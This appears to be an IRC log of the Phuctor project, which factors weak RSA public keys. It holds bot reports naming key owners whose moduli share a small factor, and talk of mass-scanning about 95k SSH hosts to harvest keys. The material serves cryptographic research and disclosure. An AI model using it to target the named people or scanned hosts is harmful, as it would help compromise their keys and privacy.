22:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Carl Christoph Leimbrock <christoph.leimbrock@gmx.de>; ' - http://phuctor.nosuchlabs.com/gpgkey/41CE4AD52DCCD849DEFF2F8EF2F59A5563DEF92184DA02E60743A44F38C9BDE4
22:26 deedbot [Recent Phuctorings.] Phuctored: 4294967297 divides RSA Moduli belonging to 'Thomas Weitzel <tweitzel@synformation.com>; ' - http://phuctor.nosuchlabs.com/gpgkey/9B870E23ED01741E0A587BEFDC1F1988A18C079AFE2F2DA62392548B9A36A4F8
~ 33 minutes ~
23:00 Framedragger mircea_popescu: asciilifeform: in regards to ssh key spidering, it's best then to produce output in the form of e,N,comment - is that right? (where comment in this case would be the ip addr)
23:00 asciilifeform Framedragger: yes, because this is easiest to convert later to whatever form
23:00 asciilifeform http://btcbase.org/log/2016-05-22#1470382 << srsly, you don't care that '3' is found in some 234323454329489858734587372586775363478 ?
23:00 a111 Logged on 2016-05-22 02:00 mircea_popescu: http://btcbase.org/log/2016-05-22#1470366 << no it's not worthless omaigerd. that's how i search for things. you want to search for the string use "
23:01 asciilifeform whole-word boundaries at the very least, is sane.
23:02 Framedragger asciilifeform: k. fwiw conversion from openssh PEM'd format to e,N,ip is easy enough: http://wotpaste.cascadianhacker.com/pastes/65ffd4c7-1a6c-4015-9a24-3e63f90eaacc/
23:03 Framedragger so that part's covered.
23:03 asciilifeform neat
23:03 asciilifeform the unfortunate bit is that i am not quite yet equipped to do anything with this.
23:04 Framedragger i guess i'll give the results in that format for those 95k ssh hosts (actual number of keys will be lower, i can see that some of those hosts are providing clients a nil set of encryption mechanisms, etc etc
23:05 Framedragger no worries - actual scanning progress will apparently be slow anyway..
23:06 asciilifeform http://btcbase.org/log/2016-05-22#1470380 << it is bothering me greatly that i have nfi why any 4294967297's remained to be nailed
23:06 a111 Logged on 2016-05-22 01:57 mircea_popescu: http://btcbase.org/log/2016-05-22#1470357 << on one hand, i care ; on the other hand - there's not that much traffic from phuctor to warrant looking for ways to lower it.
23:06 asciilifeform considering that we had a 10mil*p 8ball in play prior to today
23:08 asciilifeform http://btcbase.org/log-search?q=4294967297
23:09 asciilifeform ( for anyone who forgot, 4294967297 == 2^32 + 1 )
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23:45 mircea_popescu asciilifeform well, if it gets to be too much we might start caring. in principle it should NEVEr be found mind
23:46 asciilifeform i want to know where the hell it was before...
23:46 mircea_popescu ikr ?
23:46 mircea_popescu Framedragger a sample sorta thing works to have what to get things going with ; but in general, just do and deliver the whole bunch
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23:47 asciilifeform btw, what's deedbot's polling interval ?
23:47 asciilifeform i think it missed some
23:47 mircea_popescu hour iirc ?
23:47 asciilifeform hm
23:47 mircea_popescu anyway, re the mysterious reappearing 4bn : this is kinda why it's best to err on the side of verbosity a little. if it gets tedious we can cut it back later.
23:47 mircea_popescu you should see eulora server logs, 100+mb/day
23:49 mircea_popescu Framedragger iirc ssh pubkeys also include an email do they not ?
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23:49 mircea_popescu in any case for ssh collection ip should be prepended to whatever comment's available.
23:53 mircea_popescu http://phuctor.nosuchlabs.com/stats << "moduli broken : 228", up 10% from last month :p
23:55 mircea_popescu asciilifeform how about we add a credits page, move bernstein there, also add phf for keybase spidering, jurov for github spidering, others as may be ? also theory prolly should be rewritten
23:55 asciilifeform yeah right now it is all in the very threadbare theory pg
23:55 mircea_popescu lemme write a coupla drafts.
23:55 asciilifeform worx
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